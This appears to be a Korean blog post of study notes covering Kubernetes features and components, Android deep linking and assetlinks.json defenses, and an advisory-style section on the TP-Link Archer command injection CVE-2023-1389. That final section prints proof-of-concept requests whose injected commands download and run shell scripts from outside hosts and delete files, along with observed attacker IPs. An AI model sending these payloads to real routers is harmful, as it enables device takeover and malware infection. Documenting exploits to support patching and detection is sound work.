  • 비밀 및 구성 관리 쿠버네티스는 비밀과 같은 민감한 정보(비밀번호, OAuth 토큰, SSH 키 등)를 저장하고 관리할 수 있습니다. 컨테이너 이미지를 다시 빌드하지 않고 비밀 및 애플리케이션 구성을 배포하고 업데이트할 수 있으며, 스택 구성에서 비밀을 노출시키지 않습니다.
  • 배치 실행 서비스 외에도 쿠버네티스는 원하는 경우 실패한 컨테이너를 교체하여 배치 및 CI 워크로드를 관리할 수 있습니다.
  • 수평 스케일링 CPU 사용량에 따라 간단한 명령, UI 또는 자동으로 애플리케이션을 확장하고 축소합니다.
  • IPv4/IPv6 이중 스택 Pod 및 서비스에 IPv4 및 IPv6 주소를 할당합니다.
  • 확장성을 위해 설계 상위 소스 코드를 변경하지 않고 쿠버네티스 클러스터에 기능을 추가할 수 있도록 설계되었습니다.

 

쿠버네티스가 아닌 것 What Kubernetes is not

쿠버네티스는 전통적인 모든 기능이 포함된 PaaS(Platform as a Service) 시스템이 아닙니다. 쿠버네티스는 하드웨어 수준이 아닌 컨테이너 수준에서 작동하기 때문에 배포, 확장, 로드 밸런싱과 같은 PaaS 제공 기능에 일반적으로 적용되는 몇 가지 기능을 제공하지만 사용자가 로깅, 모니터링 및 경고 솔루션을 통합할 수 있도록 합니다. 그러나 쿠버네티스는 단일체가 아니며 이러한 기본 솔루션은 선택 사항이며 플러그인 가능합니다. 쿠버네티스는 개발자 플랫폼을 구축하기 위한 기본 블록을 제공하지만 사용자의 선택과 유연성을 중요시합니다.

 

쿠버네티스는. . .

  • 쿠버네티스가 지원하는 애플리케이션 유형을 제한하지 않습니다. 쿠버네티스는 상태가 없는(stateless), 상태를 유지하는(stateful), 데이터 처리 작업 등 다양한 작업 유형을 지원하기 위해 노력합니다. 애플리케이션이 컨테이너에서 실행될 수 있다면, 쿠버네티스에서도 잘 실행될 것입니다.
  • 쿠버네티스는 소스 코드를 배포하거나 애플리케이션을 빌드하지 않습니다. 지속적 통합, 전달 및 배포(CI/CD) 워크플로는 조직 문화와 선호도 및 기술적 요구에 따라 결정됩니다.
  • 쿠버네티스는 미들웨어(예: 메시지 버스), 데이터 처리 프레임워크(예: 스파크), 데이터베이스(예: MySQL), 캐시, 클러스터 스토리지 시스템(예: Ceph)과 같은 응용 프로그램 수준의 서비스를 제공하지 않습니다. 이러한 구성 요소는 쿠버네티스에서 실행될 수 있으며, Open Service Broker와 같은 이식 가능한 메커니즘을 통해 쿠버네티스에서 실행 중인 애플리케이션에서 액세스할 수 있습니다.
  • 쿠버네티스는 로깅, 모니터링 또는 경고 솔루션을 지시하지 않습니다. 몇 가지 통합을 개념 증명으로 제공하고 메트릭을 수집하고 내보내는 메커니즘을 제공합니다.
  • 쿠버네티스는 구성 언어/시스템(예: Jsonnet)을 제공하거나 채택하지 않습니다. 임의의 형태의 선언적 명세를 대상으로 하는 선언적 API를 제공합니다.
  • 쿠버네티스는 종합적인 기계 구성, 유지 관리, 관리 또는 자가 치유 시스템을 제공하거나 채택하지 않습니다.
  • 또한, 쿠버네티스는 단순한 오케스트레이션 시스템이 아닙니다. 실제로, 오케스트레이션의 필요성을 제거합니다. 오케스트레이션의 기술적 정의는 정의된 워크플로를 실행하는 것입니다: 먼저 A를 하고, 그 다음에 B를 하고, 그 다음에 C를 합니다. 반면에 쿠버네티스는 현재 상태를 지속적으로 제공된 원하는 상태로 이동시키는 독립적이고 조립 가능한 제어 프로세스 집합으로 구성됩니다. A에서 C로 가는 방법이 중요하지 않아야 합니다. 중앙 집중식 제어도 필요하지 않습니다. 이로 인해 사용하기 쉽고 강력하며 견고하고 탄력적이며 확장 가능한 시스템이 됩니다.

 

추가적인 내용

  1. kubelet:
    • kubelet은 각 노드에서 실행되는 Kubernetes의 에이전트입니다. 마스터 노드에서 발행된 명령을 수신하고 노드 상태를 보고합니다.
    • kubelet은 각 노드에서 Pod을 관리하고, Pod을 구성하는 컨테이너를 실행하고 모니터링합니다.
    • kubelet은 API 서버와 통신하여 배치할 Pod의 목록을 받고, 해당 노드에서 Pod을 실행하고 상태를 유지 관리합니다.
  2. kube-proxy:
    • kube-proxy는 Kubernetes 클러스터에서 서비스의 네트워크 트래픽을 관리하는 데 사용됩니다.
    • 서비스가 생성될 때 kube-proxy는 해당 서비스를 위한 가상 IP 주소와 포트를 할당하고, 서비스에 대한 요청을 실제 Pod으로 라우팅합니다.
    • 이를 통해 클러스터 외부에서 서비스에 접근할 수 있고, 서비스의 로드 밸런싱 및 고가용성을 제공할 수 있습니다.
  3. Container Runtime:
    • 컨테이너 런타임은 컨테이너를 실행하고 관리하는 데 사용되는 소프트웨어입니다. Kubernetes는 여러 가지 컨테이너 런타임을 지원하며, 대표적으로 Docker, containerd, CRI-O 등이 있습니다.
    • 컨테이너 런타임은 Docker와 같은 도구를 사용하여 컨테이너 이미지를 다운로드하고 실행하며, 컨테이너의 라이프사이클을 관리합니다.
    • Kubernetes는 컨테이너 런타임과 통신하여 Pod을 생성하고 관리합니다.

Deep Linking 개요

  • 딥링킹은 특정 유형의 링크를 처리하고 사용자를 앱(예: 특정 활동)으로 직접 보내는 메커니즘입니다.
  • 사용자가 모바일 앱으로 직접 특정 콘텐츠로 연결되도록 하는 링크를 생성하는 기술입니다. 이를 통해 웹사이트나 다른 앱에서 특정 앱의 특정 화면으로 이동할 수 있습니다. 일반적으로 다음과 같은 기능과 장점이 있습니다:
  1. 사용자 경험 개선: Deep Linking은 사용자가 특정 콘텐츠로 쉽게 이동할 수 있도록 도와줍니다. 예를 들어, 특정 제품 상세 페이지로 바로 이동하거나 앱에서 로그인이나 결제 페이지로 이동할 수 있습니다.
  2. 마케팅 및 프로모션: 웹사이트나 소셜 미디어에서 앱의 특정 콘텐츠를 직접 링크하여 사용자들을 앱으로 유도할 수 있습니다. 이를 통해 앱 다운로드, 사용자 활동 증가 등을 도모할 수 있습니다.
  3. 측정 및 분석: Deep Linking을 통해 사용자의 행동을 추적하고 분석할 수 있습니다. 특정 링크를 통해 사용자가 앱으로 어떻게 이동하는지를 추적하여 사용자 동작을 이해하고 사용자 경험을 개선할 수 있습니다.
  4. SEO 향상: 안드로이드 앱의 Deep Linking을 구현하면 검색 엔진이 해당 앱의 콘텐츠를 색인화하고 검색 결과에 표시할 수 있습니다. 이는 앱의 발견성을 향상시키고 유기적인 트래픽을 늘리는 데 도움이 됩니다.
  • Android에서는 개발자가 두 가지 유형의 링크를 만들 수 있습니다
    • 딥링크
    • 안드로이드 앱 링크

 

  • 일반적으로 /.well-known/assetlinks.json 요청은 공격이 아닐 수 있습니다. 해당 URL은  Android 앱 링크로 사용자가 앱을 선택할 필요 없이, 웹사이트 URL을 클릭하면 Android 앱에서 콘텐츠가 바로 열리도록 하는 특별한 유형의 딥 링크입니다.

 

  • .well-known 디렉토리는 RFC5785에 그 의미가 설명되어 있습니다.
  • /.well-known/는 정해진 URI 스키마 상에서 잘 알려진 위치들(well-known locations)의 경로 프리픽스를 정의해 줍니다.
  • https://datatracker.ietf.org/doc/html/rfc5785 해당 문서에서 자세하게 확인 가능합니다.

 

  • 악의적인 공격자가 /.well-known/assetlinks.json 를 요청하는 케이스
    • 딥 링크를 통한 공격 시도로 볼 수 있다.
    • /.well-known/assetlinks.json은 Android 앱과 웹 사이트 간의 딥 링크 관련 인증 파일로, 안드로이드 앱이 특정 웹 사이트에 대한 딥 링크를 처리할 수 있는 권한을 부여하는 데 사용됩니다. 공격자는 이를 이용하여 앱 사용자를 악의적인 앱으로 유도하거나 사용자의 개인 정보를 탈취하는 등의 악의적인 행위를 시도할 수 있습니다.
    • 일반적으로 이러한 공격은 사용자가 악의적인 딥 링크를 통해 인증되지 않은 앱에 리디렉션되어 개인 정보를 요구하거나, 사용자의 기기에 악성 앱을 다운로드하도록 유도하는 형태로 이뤄질 수 있습니다.

대응방안

  • .well-known/assetlinks.json 파일을 안전하게 유지
    • 인증서를 사용하여 암호화된 연결 설정 (SSL/TLS 인증서)
    • 액세스 제어 설정 (불필요한 요청 차단)
    • 파일 권한 설정 (디렉토리 및 하위 파일의 권한을 적절하게 설정)
    • 로그 및 모니터링 설정 (액세스 로그 모니터링)
    • 정기적인 보안 감사 (파일에 대한 정기적인 검토)
  • 앱과 웹 서버 간의 딥 링크 권한을 정확하게 관리
  • 사용자에게 앱과 관련된 딥 링크를 사용할 때 주의해야 함을 경고
  • /.well-known/assetlinks.json은 Android 앱과 웹 사이트 간의 딥 링크 관련 인증 파일로 공격자가 앱 사용자를 악의적인 앱으로 유도하거나 사용자의 개인 정보를 탈취하는 등의 악성행위 시도할 수 있음
  •  

TP-Link Archer 기가비트 인터넷 라우터에 대한 악용 시도(CVE-2023-1389)

  • 1.1.4 빌드 20230219 이전의 P-Link Archer AX21(AX1800) 펌웨어 버전에는 웹 관리 인터페이스에서 /cgi-bin/luci;stok=/locale 엔드포인트의 국가 형식으로 명령 주입 취약점이 포함되어 있습니다.
  • 특히, 쓰기 작업의 국가 매개변수는 popen() 호출에 사용되기 전에 삭제되지 않았으므로 인증되지 않은 공격자가 간단한 POST 요청을 통해 루트로 실행될 명령을 주입할 수 있습니다.

PoC 코드 / 샘플 코드

  • 해당 PoC 코드를 직접 공격하여 악용하는 경우 법적 처벌 조치를 받으실 수 있습니다.
POST /cgi-bin/luci/;stok=/locale?form=country
HTTP/1.1Host: [redacted]
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 60
operation=write&country=$(id>`wget <http://zvub>[.]us/y -O-|sh`)

 

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm -rf *; cd /tmp; wget <http://192.3.152.183/tenda.sh>; chmod 777 tenda.sh; ./tenda.sh)

샘플 코드 설명

  1. m -rf *: 현재 디렉토리의 모든 파일 및 디렉토리를 삭제 (rm 명령어는 파일이나 디렉토리를 삭제하는 명령어이며, -rf 옵션은 강제로 삭제하고, 재귀적으로 하위 디렉토리까지 삭제하라는 옵션입니다.)
  2. cd /tmp: 임시 디렉토리로 이동.
  3. wget http://192.3.152.183/tenda.sh: 외부 서버에서 tenda.sh라는 스크립트를 다운로드
  4. chmod 777 tenda.sh: 다운로드한 스크립트에 실행 권한을 부여
  5. ./tenda.sh: 부여한 실행 권한으로 스크립트를 실행

 

  • 현재까지 성공적인 인젝션이 관찰된 적이 없으므로, 주로 취약점이 존재하는지 유무를 확인하기 위한 스캔성 접근 다수 확인됨
  • 출발지 IP 193.32.162.189, 185.224.128.10 (네덜란드)로부터 악용 시도에 적극적으로 참여하는 것으로 추정됨
  • 해당 취약점이 수정된 공식 업데이트로 버전을 패치해야 합니다.

+ Recent posts